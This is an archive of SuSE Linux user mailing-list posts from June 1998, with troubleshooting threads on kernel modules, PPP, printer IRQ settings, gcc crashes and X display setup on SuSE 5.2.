>
>Steven Udell wrote:
>
>>                          a.out binary support (you can do this a module
>> too)
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From clm@hackers.the-core.net Wed Jun 17 16:25:39 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] video modes
Date: Wed, 17 Jun 1998 12:25:39 -0400
Message-ID: <2.2.32.19980617162539.00d4a950@hackers.the-core.net>
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you may want to, use Kvidtune it's at www.kde.org

Chris=20

At 11:24 PM 6/16/98 -0500, you wrote:
>
>At 03:15 PM 98/06/16 -0400, you wrote:
>>
>>
>>What about using xvidtune to fine tune your XF86Config stuff.  I used it
>on my
>>laptop it helps a little.
>>
>>Drew
>
>Tried xvidtune.  No help.  thanks for your suggestion.
>
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From hlarons@ComCAT.COM Wed Jun 17 16:43:59 1998
From: hlarons@ComCAT.COM
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] current kernel configuration?
Date: Wed, 17 Jun 1998 12:43:59 -0400
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Steven Udell wrote:
> 
[snip]
>                          ppp should be direct compiled too
> Thing about todays Kernels is they are hightly moduleized (or can be)
> for sleek,quickness, and non bloat.
> 
[snip]
> Steven Udell
> hettar(a)teleport.com

Now is my chance to ask a question that's been bothering me since I
installed 5.2. The kernel I installed out of the box does indeed have
SCSI compiled in, but PPP isn't (no boot time PPP message). I have PPP
on demand, so I assume that kerneld adds the PPP module as required. If
so (a big if for a Linux newbie), why did you recommend that PPP be
directly compiled?

Howard Arons

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From morche@sat1.de Wed Jun 17 17:56:05 1998
From: morche@sat1.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] locale settings with SuSE 5.2
Date: Wed, 17 Jun 1998 19:56:05 +0200
Message-ID: <35880335.93BFBD6F@sat1.de>
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Andrea wrote:
> 
> Hi, I have a little problem with a program that give me this error:
> libc: setlocale: LC_CTYPE: no LANG= in /etc/default/lang
> 
> even if I have in .profile the export LANG=it_IT and
...
I've got once a similar error message, when running an SCO binary (adsm
backup to be precise). I had no luck in avoiding the message. But it
didn't seem to raise any further problems, so I got used to simply
ignore it.


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From darkstar@charm.net Wed Jun 17 18:10:19 1998
From: darkstar@charm.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.2 ANd PPP Performance
Date: Wed, 17 Jun 1998 14:10:19 -0400
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On Wed, 17 Jun 1998, J. Mark Brooks wrote:

>=20
> Another recommendation:  remove any mtu xxxx or mru xxxx statements from
> the options file, or don't use them in your startup.  This caused me
> major headaches until I figured out that I was better off letting pppd
> figure out the MTU for itself.
=20
Thanks.
It actually turned out that the rc script is setting the default route to
the "dummy" device.=20


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From arunkhan@xnet.com Wed Jun 17 18:18:24 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Wed, 17 Jun 1998 13:18:24 -0500
Message-ID: <3.0.5.32.19980617131824.007d0a60@quake.xnet.com>
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At 07:01 AM 98/06/17 -0500, you wrote:
>
>I'm going to be building a computer and installing S.U.S.E. 5.2 on it.  Does
>it make any difference on what monitor I use, as long as the video card is
>supported?
>
>Bill Eastman
>mailto:beastman(a)jump.net
>http://www.jump.net/~beastman>

Plan to invest in a decent monitor that supports 1024x768 / 1280x1024 @ >=3D
75Hz refresh rate if you want to use X.  I have seen people skimp on
monitors and regret it later.  Also, suggest buying it retail after getting
a chance to see how it performs.  If for some reason you don't like it,
exchange is easier [shipping charges can be significant with insurance :(]
Choose the one that your eyes feel most comfortable with and do not get
carried away with tech. specs. =20

HTH

-- Arun Khan

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From to.avi@usa.net Wed Jun 17 18:53:01 1998
From: to.avi@usa.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Support for Adaptec 2940U2W?
Date: Wed, 17 Jun 1998 13:53:01 -0500
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I have noticed that the supported hardware list does not show
the Adaptec 2940U2W SCSI controller (which I happen to have).  Do
you know if there is one in the works?  Is there an experimental
driver available?




Thanks.




-- Avi




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From brauki@cityweb.de Wed Jun 17 19:01:10 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] current kernel configuration?
Date: Wed, 17 Jun 1998 21:01:10 +0200
Message-ID: <35881276.4478514D@cityweb.de>
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(Ted Harding) wrote:
>=20

Again, only the german SDB speaks:

http://www.s=
use.de/Support/sdb/maddin_kernel_config.html>

but it reads:

------8<-----
SuSE Realease:

ince 4.2

Problem:

Yoy want to reconfigure your Kernel and want to start the
reconfiguration based on your installed kernel.

Solution:

You find the configuration files on CD1, directory:

/suse/images/config

i.e. autoconf.ide1.ikror the file(name) that matches your kernel.

You cannot get this information from the running kernel.

------8<-----

Hello Bodo & SuSE Team: if these translations occasionally pop up, do
you transfer them to the english support files??

> [.... deleted ...]
>=20
> As well as Marc, I really would like to know the answer to this question!
>=20
> Best wishes to all,
> Ted.
>=20
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From schullersite@NOSPAMworldnet.att.net.suse.de Wed Jun 17 19:13:16 1998
From: schullersite@NOSPAMworldnet.att.net.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] current kernel configuration?
Date: Wed, 17 Jun 1998 14:13:16 -0500
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Howard Arons wrote:

> Now is my chance to ask a question that's been bothering me since I
> installed 5.2. The kernel I installed out of the box does indeed have
> SCSI compiled in, but PPP isn't (no boot time PPP message). I have PPP
> on demand, so I assume that kerneld adds the PPP module as required. If
> so (a big if for a Linux newbie), why did you recommend that PPP be
> directly compiled?
> 
> Howard Arons
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> Powered by SuSE Linux 5.2 -- kernel 2.0.33
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Thank you, Howard.  I was "corrected" a week or so ago for stating the
5.2 "out-of-the-box" kernel didn't have PPP compiled in.


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From drew@adapco.com Wed Jun 17 20:45:00 1998
From: drew@adapco.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] gcc version 2.7.2.1
Date: Wed, 17 Jun 1998 16:45:00 -0400
Message-ID: <9806172045.AA19172@ibm29.adapco.com>
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I have a problem with compiling using gcc 2.7.2.X on my laptop.  For some rea=
son
it works on my desktop but not on my laptop.  I'm going to try to get a newer
binary of gcc but was wondering if anybody has had this problem before.

Drew

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From wiliweld@ix.netcom.com Wed Jun 17 21:31:43 1998
From: wiliweld@ix.netcom.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Support for Adaptec 2940U2W?
Date: Wed, 17 Jun 1998 14:31:43 -0700
Message-ID: <3.0.3.32.19980617143143.006cb458@popd.ix.netcom.com>
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 At 01:53 PM 6/17/98 -0500, you wrote: 

>>>>


I have noticed that the supported hardware list does not show the=
 Adaptec 2940U2W SCSI controller (which I happen to have).  Do you know if th=
ere is one in the works?  Is there an experimental driver available?



Thanks.



-- Avi



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<<<<





Hi,

I am running NT 4.0 ws for the 1st time and have successfully connected to my=
 college with "Hyperterminal" so I know the modem and com2 see each other but=
 when I go to configure "Dial Up Networking" by clicking on it in "My Compute=
r" I get an error stating that I do not have RAS Manager installed. (or somet=
hing close to that) Is there a way I can reload RAS to connect to my ISP (Net=
com) with the same setup I do now with Win95?.....I'm a new user here in San =
Francisco.


Bill Schoolcraft

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From kc8chq@juno.com Wed Jun 17 21:34:42 1998
From: kc8chq@juno.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Networking - Internet
Date: Wed, 17 Jun 1998 17:34:42 -0400
Message-ID: <19980617.223420.2823.3.kc8chq@juno.com>
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Thanks a load for that info! I look at this info tomorrow.

The learning curve is very steep for one who has no specific training
though the frustration will be worth it. I think it may be necessary to
go through the class in Unix/C I contemplated at Marygrove College last
year.

Though there has been a struggle Linux is much more user freindly than my
M$ freinds would admit.

Thanks again!

Best regards,
Bob Russell
kc8chq(a)juno.com
    Micro$oft, what do you want to spend today?
    If it says "requires Win95 or better," install Linux!

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From hettar@teleport.com Wed Jun 17 21:59:09 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] current kernel configuration?
Date: Wed, 17 Jun 1998 14:59:09 -0700
Message-ID: <35883C2D.7183E175@teleport.com>
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Howard Arons wrote:

> Steven Udell wrote:
> >
> [snip]
> >                          ppp should be direct compiled too
> > Thing about todays Kernels is they are hightly moduleized (or can be)
> > for sleek,quickness, and non bloat.
> >
> [snip]
> > Steven Udell
> > hettar(a)teleport.com
>
> Now is my chance to ask a question that's been bothering me since I
> installed 5.2. The kernel I installed out of the box does indeed have
> SCSI compiled in, but PPP isn't (no boot time PPP message). I have PPP
> on demand, so I assume that kerneld adds the PPP module as required. If
> so (a big if for a Linux newbie), why did you recommend that PPP be
> directly compiled?

I use PPP every time I log onto my system. This is my reason.

Sorry about not answering Marcs question right.
I guess at 1 am (about when I get home) I didn't read it good enough.

Marc, The SuSE Kernel that is put into place as you first install
is rather huge.  This is for making sure that all hardware you may
have in maybe included right from the start.  I can not answer
your question however on which options are set in the first kernel
that is installed at install time.  I never fully knew this my-self.
A few trys at compiling a kernel myself and after making
a hardware list, I now can compile a standard kernel that will
support all my hardware in minutes. Just takes practice.
Lets put it in a quick note, you will not need 300f what SuSE
picks on its Kernel at first install, so listing them is not going
to be your anwser to a comparable Kernel.

Steve Udell
hettar(a)teleport.com


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From jpcowh01@ox.slug.louisville.edu Wed Jun 17 23:58:43 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Wed, 17 Jun 1998 19:58:43 -0400
Message-ID: <199806172358.TAA06595@ox.slug.louisville.edu>
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>=20
> I'm going to be building a computer and installing S.U.S.E. 5.2 on it.  Does
> it make any difference on what monitor I use, as long as the video card is
> supported?

        Yes...  the combination of the two is essential to the overall perfor=
mance of the Xserver you will be running...

        So video cards are slow and don't have many fancy features to make a =
nice Xenviroment work easily (Older Tridents), Other video cards (ATI's are w=
onderful) can make any monitor do wonderful things...

        I own a Trident 9685 providia with 4megs of ram, and since they've co=
mbined the SuSE Trident Xserver withe the SVGA Xserver, I can get 1024x768 wi=
th a 16 bit color depth on my 15" CTX 1562GM.

        The best setup I've witnessed personally was a RIVA128 (4 megs) runni=
ng 1280x1024 at 32 bit color depth (I think) on a 17" MAG (or Viewsonic) and =
it had extra resolution (modes) to spare...  I was jealous...  The scrolling =
was the smoothest I've seen, ever!  I wished I could have seen what mpeg look=
ed like...

                                                Jonathan


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edu/~jpcowh01>

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From fmiller@lightlink.com Thu Jun 18 00:20:57 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] asmixer
Date: Wed, 17 Jun 1998 20:20:57 -0400
Message-ID: <98061720215800.00565@SuSE>
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On Wed, 17 Jun 1998, you wrote:
>Fred A. Miller wrote:
>
>> Mikael Asp wrote:
>> >
>> > Hi All!
>> >
>> > I tried to run asmixer but it was complaining about my /dev/mixer . At
>> > first it couldn't read and after some work, I made link to mixer1, it
>> > couldn't grab it.
>> >
>> > I suppose I have to make a new kernel, but I would like to be sure befor=
e I
>> > try that.
>> >
>> > Have a splendid day!
>>
>> I would, IF I could get Linux to see my SP AWE-64 (ISA) card!
>>
>> Fred
>
>Go look here, as my SuSE linux can with ease now
>
>http://cqi.com/~humbubba/linux=
/AWE-kernhelp.txt>
>
>Steven Udell
>hettar(a)teleport.com
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Yes.....I did find that data....thanks.  I doubt I'll tackle it till
this weekend.

Fred


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From clm@hackers.the-core.net Thu Jun 18 01:02:24 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Wed, 17 Jun 1998 21:02:24 -0400
Message-ID: <2.2.32.19980618010224.00d30b50@hackers.the-core.net>
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yes,=20

for the most part=20

Chris=20

At 01:18 PM 6/17/98 -0500, you wrote:
>
>At 07:01 AM 98/06/17 -0500, you wrote:
>>
>>I'm going to be building a computer and installing S.U.S.E. 5.2 on it.  Does
>>it make any difference on what monitor I use, as long as the video card is
>>supported?
>>
>>Bill Eastman
>>mailto:beastman(a)jump.net
>>http://www.jump.net/~beastman>
>
>Plan to invest in a decent monitor that supports 1024x768 / 1280x1024 @ >=3D
>75Hz refresh rate if you want to use X.  I have seen people skimp on
>monitors and regret it later.  Also, suggest buying it retail after getting
>a chance to see how it performs.  If for some reason you don't like it,
>exchange is easier [shipping charges can be significant with insurance :(]
>Choose the one that your eyes feel most comfortable with and do not get
>carried away with tech. specs. =20
>
>HTH
>
>-- Arun Khan
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From deem@wdm.com Thu Jun 18 03:47:05 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] AMD K-6 and SuSE 5.2
Date: Wed, 17 Jun 1998 19:47:05 -0800
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Hello,

OK...thanks for some help with local gurus on getting my MB up
with my new CPU, I'm running a new AMD K-6 300Mhz with SuSE 5.2.

<4>Calibrating delay loop.. ok - 616.04 BogoMIPS :-)

-Dee

W.D.McKinney (Dee) -=- deem(a)wdm.com
No claim to fame, just saved by Grace.

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From gordster@juno.com Thu Jun 18 05:36:55 1998
From: gordster@juno.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: RISKS DIGEST 19.81
Date: Thu, 18 Jun 1998 01:36:55 -0400
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Dear Peter-
Actually the issue cited does have an article on prematurely
out-of-round wheels on German trains.  May issue, pages 51-54.
Whether it's still on the web site is another story, but it appears
from the four-page article that this is not a laughing matter
to the German engineers involved.  Would you like me to mail=20
you a copy?

Gordy  Heitzman         gordster(a)juno.com  =20
" Ja, I can speak Minnesotan "   =20

On 17 Jun 1998 09:01:05 +0100 peter(a)datadok.no (Peter N. M. Hansteen)
writes:
>
>risko(a)csl.sri.com (RISKS List Owner) writes:
>
>> Date: Wed, 10 Jun 1998 23:21:33 -0400 (EDT)
>> From: David Lesher 
>> Subject: Re: German high-speed train disaster
>>=20
>> I'm surprised no one has noted that Linux Journal's
>> <http://www.ssc.com/issue49>> May issue carried a story about L=
inux=20
>being
>> used for a data acquisition system on the ICE trains.
>>=20
>> The problem being studied? Prematurely out-of-round wheels...
>
>Entries like this makes me wonder how well, if at all, you check your=20
>stories.
>
>1) when I checked this morning the url from your article ends up at
>   SSC's "page not found" message. the correct url for the 49th issue
>   seems to be url:http://www.ssc.com/lj/issue49>
>
>2) at the time I checked (a little before nine in the morning, june=20
>17th,
>   Central European Daylight Savings Time), I was unable to find any=20
>   references to data aquisition or trains.
>
>But then again, if this is an attempt to up your list's comedy appeal,
>you've succeeded.
>
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From peter@datadok.no Thu Jun 18 07:38:32 1998
From: peter@datadok.no
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re: RISKS DIGEST 19.81
Date: Thu, 18 Jun 1998 08:38:32 +0100
Message-ID: <3.0.32.19980618083756.00865d70@datadok.no>
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Gordy,

>Actually the issue cited does have an article on prematurely
>out-of-round wheels on German trains.  May issue, pages 51-54.
>Whether it's still on the web site is another story, but it appears
>from the four-page article that this is not a laughing matter
>to the German engineers involved.  Would you like me to mail=20
>you a copy?

That would be nice, yes. If there is something to this story,
it certainly isn't a laughing matter.=20

However, the close-but-not-quite-right url given in the=20
original message does cast the RISKS entry in a somewhat=20
dubious light.=20

Of course I would appreciate any and all input from
the parties involved.

- Peter


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From ke@suse.de Thu Jun 18 08:01:02 1998
From: ke@suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Postgres 6.3.2
Date: Thu, 18 Jun 1998 10:01:02 +0200
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Kerry Boguszewski-Odom  writes:

|   I seem to have a working postgres 6.3.2 system running on SuSE
|   5.1. Although, I was unable to find the command autoconf on my
|   system.

JFYI, it's the first package in serie "d".


--=20
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From pbleser@prov-liege.be Thu Jun 18 08:14:41 1998
From: pbleser@prov-liege.be
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Suse FTP Sites?
Date: Thu, 18 Jun 1998 10:14:41 +0200
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Of course...
here's the best mirror:
ftp://ftp.gwdg.de:/pub/linux/suse/>

Pascal
  /nick SuSE52 on #linux (IRCnet)
  root on www.student.prov-liege.be

-----Original Message-----
From: Dana J. Laude 
To: suse-linux-e(a)suse.com 
Date: mardi 16 juin 1998 05:03
Subject: [S.u.S.E. Linux] Suse FTP Sites?

>
>What's up with the ftp.suse.com site?  Or a few mirrors for that matter.
>I "cannot" grab any of the files from /pub/suse_update/KDE/* that
>are large, as in the qt dev 1.33, kdadmin, etc.  What happens is that
>I get a timeout after 2% transfer, end of story.  I have not had *any*
>other problems ftp'ing off other sites, even grabbed Staroffice 4.0
>without a hitch.  This is getting annoying, since I wanted to try the
>latest KDE and QT stuff.  Anyone know of a reliable mirror site?
>
>Dana
>
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From weissel@jupiter.ph-cip.uni-koeln.de Thu Jun 18 10:32:14 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Printer Problems
Date: Thu, 18 Jun 1998 12:32:14 +0200
Message-ID: <19980618123214.G19540@Tiger.uni-koeln.de>
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Hi!

Trying to kill the keyboard, brauki(a)cityweb.de produced:
> http:=
//localhost/support-db/sdb/avaron_lpd_irq_polling.html>
>=20
> I'm to tired now to translate. A rough guess can be taken from it,
> though.

Ok, I'll do it. (slightly enhanced, though)

                Printer does not stay in IRQ mode

Symptom:

The lpd ought to work in IRQ mode instead of the (default) polling
mode. However even after switching to IRQ mode with 'tunelp' the lpd
switches back to polling mode after a few minutes.

Cause:

Tunelp configures only the currently loaded printing module. If the
printer is not used for some minutes the printing module will be
unloaded. Using the lpd the next time reloads the printing module with
the original (polling) configuration.
 =20
Solution:

Either compile the printer support into the kernel and switch to IRQ
mode via kernel options at boot time or add a line in
/etc/conf.modules. For switching at boot time add the line
append=3D"lp=3D????????" after the line image=3D???? . The configuring line
for the printer driver is build as follows:

        lp=3Dport0[,irq0[,port1[,irq1[,port2[,irq2]]]]]

   e.g.:
        lp=3D0x378,0   or   lp=3D0x278,5,0x378,7

You must specify all ports you want to use! Should e.g. the port 0x278
use IRQ 7 for data transfer you'd have to use the following line in
/etc/lilo.conf:=20

  append=3D"lp=3D0x278,7"

If further kernel options need to be added, they have to be separated
by a space character, e.g.:

        append=3D"lp=3D0x278,7 auto"

If you want to use modules for printer support (neccessary if you want
to share the parallel port for a ZIP-Drive or PLIP or similar), try to
add the parameters in /etc/conf.modules, e.g.:
  =20
        options lp io=3D0x278 irq=3D7

Now the printing module should use IRQ mode even after reloading.

-Wolfgang

PS: Forwarded to feedback(a)suse.com (I hope that is the right address)
    so it can be included in the SDB.=20


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From weissel@jupiter.ph-cip.uni-koeln.de Thu Jun 18 10:51:42 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] current kernel configuration?
Date: Thu, 18 Jun 1998 12:51:42 +0200
Message-ID: <19980618125142.H19540@Tiger.uni-koeln.de>
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Hi!

Trying to kill the keyboard, hettar(a)teleport.com produced:
> 
> Well whats cool it that you can do make menuconfig as
> many times as you like and spend all day looking at it,
> learning and reading the help on each thing you can add
> to the kernel.

And there's xconfig, too :) 

But as a beginner you'd better start X as root (or log into xdm as
root), cause else you'd have to tell the thing to use your xserver
(export DISPLAY=localhost:0.0  as root) and tell the server to allow it
(xhost + localhost  as the user who started it).

> Just try not to bloat your kernel with things you will never use
> nor need.

exactly. And always have a backup kernel that works.

> things to note: SCSI should be compiled directly

... if you have SCSI disks and use them, especially if your / is on
SCSI. If you are on (E)IDE and have a SCSI-CDROM or ZIP or something,
 leave it as modules. (remember, you need SCSI-Support, support for the
type (i.e. Disk) and support for the Adapter, too.)

>                          filesystems can be mounted mostly as modules too

but not ext2, cause you need that for your / (unless you have an UMSDOS
system :-)  so you can get the modules.

>                          a.out binary support (you can do this a module
> too)

Does not hurt as a module.

>                          ppp should be direct compiled too

Nope. Works perfectly as module.

> Thing about todays Kernels is they are hightly moduleized (or can be)
> for sleek,quickness, and non bloat.

... so put everything you need not 990f the time as module, if you
can (and are allowed, see ext2). 

-Wolfgang


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From weissel@jupiter.ph-cip.uni-koeln.de Thu Jun 18 11:09:35 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] X Download Dialog Box Stinks.
Date: Thu, 18 Jun 1998 13:09:35 +0200
Message-ID: <19980618130935.I19540@Tiger.uni-koeln.de>
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Hi!

Trying to kill the keyboard, hattons(a)CPKWEBSER5.ncr.disa.mil produced:
> 
>   I have been using Unix on and off for years.
> There is one feature that seems to really stink.
> I don't like the dialog box for file
> manipulation.  

Aehm, WHICH 'dialog box for file manipulation' ? I use the bash (and
fvwm2). If I want to create a directory, for example, I type mkdir
directory. 

So I think you are talking about some other windowmanager (kdm comes
to mind) or a 'norton commander' clone (there are half a dozen on the
SuSE 5.2 CD's IIRC. 

UNIX per se is not graphical (which is a big plus, as you can slap on
different graphics servers, like the different X11 Servers aviable, and
on top of these (but independent from them, as long as it's X11) many
many different window managers, like enlightenment, fvwm, twm, CDE,
kdm, .......). So please don't say Unix when you blame something else.

> right-clicking like you can in 95/NT.  I have
> found that StarOffice does have this right-click
> feature, so I know that it can be done in Unix.

Sure it can be done. Almost everything that can be done as a GUI in
WinXX can be done under Unix, it's a question of writing the program
(parts), and of wanting to do it the WinXX way - often there are better
ways.

> Since the dialog box that I am referring to seems
> to exist on every Unix GUI that I have worked
> with, I assume it is something basic to the way X
> works.  

nope.

X is just the 'graphics card' to your window manager. If you run
Windows everywhere, it'll look the same everywhere, but that won't mean
that you could not put other pictures on your monitor.
And I never ever saw these boxes. 

I presume you were using always the same window manager/program/
whatever with mostly the same configurations (especially if it's a WM).

-Wolfgang


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From mantel@suse.de Thu Jun 18 11:18:50 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: Support for Adaptec 2940U2W?
Date: Thu, 18 Jun 1998 13:18:50 +0200
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Hi,

On Wed, 17 Jun 1998, Avi Schwartz wrote:

> I have noticed that the supported hardware list does not show the Adaptec
> 2940U2W SCSI controller (which I happen to have).  Do you know if there is =
one
> in the works?  Is there an experimental driver available?

It's being worked on. Currently there is no experimental driver available.

> Thanks.
>=20
> -- Avi

    Hubert


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From nick@belam.gazinter.net Thu Jun 18 12:13:30 1998
From: nick@belam.gazinter.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] PCI SOUND CARD ESS Maestro-1
Date: Thu, 18 Jun 1998 15:13:30 +0300
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 Dear friends...
 Please talk me about Linux driver for PCI ESS Maestro-1
 sound card.

   Anybody knows? I'am looking for this driver(s).

                                                             Yours Nick.

Nick K. Kozubsky, Kaliningrad (Koenigsberg), West of Russia.

nick(a)belam.koenig.ru
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From striepe@neokom.geo.uni-bonn.de Thu Jun 18 12:51:52 1998
From: striepe@neokom.geo.uni-bonn.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] gcc version 2.7.2.1
Date: Thu, 18 Jun 1998 14:51:52 +0200
Message-ID: <199806181251.OAA03794@neokom.geo.uni-bonn.de>
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>=20
>=20
> I have a problem with compiling using gcc 2.7.2.X on my laptop.  For some r=
eason
> it works on my desktop but not on my laptop.  I'm going to try to get a new=
er
> binary of gcc but was wondering if anybody has had this problem before.
>=20

                                                     ????
                                                     which?=20

> Drew
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From rknebel@csrlink.net Thu Jun 18 13:08:22 1998
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From drew@adapco.com Thu Jun 18 13:21:56 1998
From: drew@adapco.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] gcc version 2.7.2.1
Date: Thu, 18 Jun 1998 09:21:56 -0400
Message-ID: <9806181321.AA19050@ibm29.adapco.com>
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> > I have a problem with compiling using gcc 2.7.2.X on my laptop.  For some=
 reason
> > it works on my desktop but not on my laptop.  I'm going to try to get a n=
ewer
> > binary of gcc but was wondering if anybody has had this problem before.
> >=20
>=20
>                                                      ????
>                                                      which?=20
Opps sorry about that got interrupted last night in mid thought.  Ahhh I get =
an
errno 11 from gcc when I try to compile my kernel.  It's fairly random when i=
t=20
happens.  It doesn't always happen at the same point in compilation.  This ha=
ppened
when I was running caldera lite on the machine also.  It also happens when I =
try to
recompile other packages such as gcc or pretty much anything that isn't very =
small.
It may have something to do with the amount of memory free on the laptop.  I =
have
48MB but when I compile and have X running the compilation seems to die soone=
r.
I'll try and get some more info.

Drew

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From clm@hackers.the-core.net Thu Jun 18 13:45:30 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] gcc version 2.7.2.1
Date: Thu, 18 Jun 1998 09:45:30 -0400
Message-ID: <2.2.32.19980618134530.00d31328@hackers.the-core.net>
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whats the compilation errors,=20

and what kills the compilation=20

thanks=20
Chris=20

At 09:21 AM 6/18/98 -0400, you wrote:
>
>> > I have a problem with compiling using gcc 2.7.2.X on my laptop.  For
some reason
>> > it works on my desktop but not on my laptop.  I'm going to try to get a
newer
>> > binary of gcc but was wondering if anybody has had this problem before.
>> >=20
>>=20
>>                                                      ????
>>                                                      which?=20
>Opps sorry about that got interrupted last night in mid thought.  Ahhh I get=
 an
>errno 11 from gcc when I try to compile my kernel.  It's fairly random when =
it=20
>happens.  It doesn't always happen at the same point in compilation.  This
happened
>when I was running caldera lite on the machine also.  It also happens when
I try to
>recompile other packages such as gcc or pretty much anything that isn't
very small.
>It may have something to do with the amount of memory free on the laptop.
I have
>48MB but when I compile and have X running the compilation seems to die soon=
er.
>I'll try and get some more info.
>
>Drew
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___________________________________________________

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From mantel@suse.de Thu Jun 18 14:14:30 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: gcc version 2.7.2.1
Date: Thu, 18 Jun 1998 16:14:30 +0200
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Hi,

On Thu, 18 Jun 1998 drew(a)adapco.com wrote:

> Opps sorry about that got interrupted last night in mid thought.  Ahhh I ge=
t an
> errno 11 from gcc when I try to compile my kernel.  It's fairly random when=
 it=20
> happens.  It doesn't always happen at the same point in compilation.  This =
happened

You definitely have a hardware problem. Read http://www.bitwizard.n=
l/sig11>

> when I was running caldera lite on the machine also.  It also happens when =
I try to
> recompile other packages such as gcc or pretty much anything that isn't ver=
y small.
> It may have something to do with the amount of memory free on the laptop.  =
I have
> 48MB but when I compile and have X running the compilation seems to die soo=
ner.
> I'll try and get some more info.
>=20
> Drew

    Hubert


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From rknebel@csrlink.net Thu Jun 18 14:16:27 1998
From: rknebel@csrlink.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] netscape
Date: Thu, 18 Jun 1998 10:16:27 -0400
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I just installed version 5.2 and cannot find netscape.
Is in on the cdrom?


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From grimmer@suse.de Thu Jun 18 14:36:38 1998
From: grimmer@suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] netscape
Date: Thu, 18 Jun 1998 16:36:38 +0200
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Hi,

Rick Knebel wrote:
=20
> I just installed version 5.2 and cannot find netscape.
> Is in on the cdrom?

Have a look at the series "pay" (Commercial Software),
it should contain the package "netscape"

LenZ


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From rknebel@csrlink.net Thu Jun 18 15:28:17 1998
From: rknebel@csrlink.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] netscape
Date: Thu, 18 Jun 1998 11:28:17 -0400
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From mhtexcollins@ccms.net Thu Jun 18 15:30:30 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] X Download Dialog Box Stinks.
Date: Thu, 18 Jun 1998 10:30:30 -0500
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Run netscape and right click on a jpg or something and tell it to save.
See the box.

Wolfgang Weisselberg wrote:

> Hi!
>
> Trying to kill the keyboard, hattons(a)CPKWEBSER5.ncr.disa.mil produced:
> >
> >   I have been using Unix on and off for years.
> > There is one feature that seems to really stink.
> > I don't like the dialog box for file
> > manipulation.
>
> Aehm, WHICH 'dialog box for file manipulation' ? I use the bash (and
> fvwm2). If I want to create a directory, for example, I type mkdir
> directory.
>
> So I think you are talking about some other windowmanager (kdm comes
> to mind) or a 'norton commander' clone (there are half a dozen on the
> SuSE 5.2 CD's IIRC.
>
> UNIX per se is not graphical (which is a big plus, as you can slap on
> different graphics servers, like the different X11 Servers aviable, and
> on top of these (but independent from them, as long as it's X11) many
> many different window managers, like enlightenment, fvwm, twm, CDE,
> kdm, .......). So please don't say Unix when you blame something else.
>
> > right-clicking like you can in 95/NT.  I have
> > found that StarOffice does have this right-click
> > feature, so I know that it can be done in Unix.
>
> Sure it can be done. Almost everything that can be done as a GUI in
> WinXX can be done under Unix, it's a question of writing the program
> (parts), and of wanting to do it the WinXX way - often there are better
> ways.
>
> > Since the dialog box that I am referring to seems
> > to exist on every Unix GUI that I have worked
> > with, I assume it is something basic to the way X
> > works.
>
> nope.
>
> X is just the 'graphics card' to your window manager. If you run
> Windows everywhere, it'll look the same everywhere, but that won't mean
> that you could not put other pictures on your monitor.
> And I never ever saw these boxes.
>
> I presume you were using always the same window manager/program/
> whatever with mostly the same configurations (especially if it's a WM).
>
> -Wolfgang
>
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From pmoon@mindspring.com Thu Jun 18 15:33:29 1998
From: pmoon@mindspring.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] PPPD Deamon
Date: Thu, 18 Jun 1998 11:33:29 -0400
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Any help would be a appreciated.

I am trying to get my ppp connection to the net working under S.u.S.E. 5.2
fresh install. I have X up and running and am using the KDE window manager.
I was trying to config my dial up using an applet called KDPPP I think is
the name, nice config panel. Anyway, all seems to function correctly to the
point of connection and login script execution. The Login id goes in and
then the prompt for Password and it is sent. And at this point (when the
ppp handshake starts) I get a message on the debug console that says PPD
Deamon died unexpectedly and that is the end of the connection attempt. The
connection drops 30 seconds later or so later.
        Any ideas or things to look at would be greatly appreciated.

Perry K. Moon
pmoon(a)mindspring.com


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From wpaszko@kki.net.pl Thu Jun 18 15:38:47 1998
From: wpaszko@kki.net.pl
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] netscape
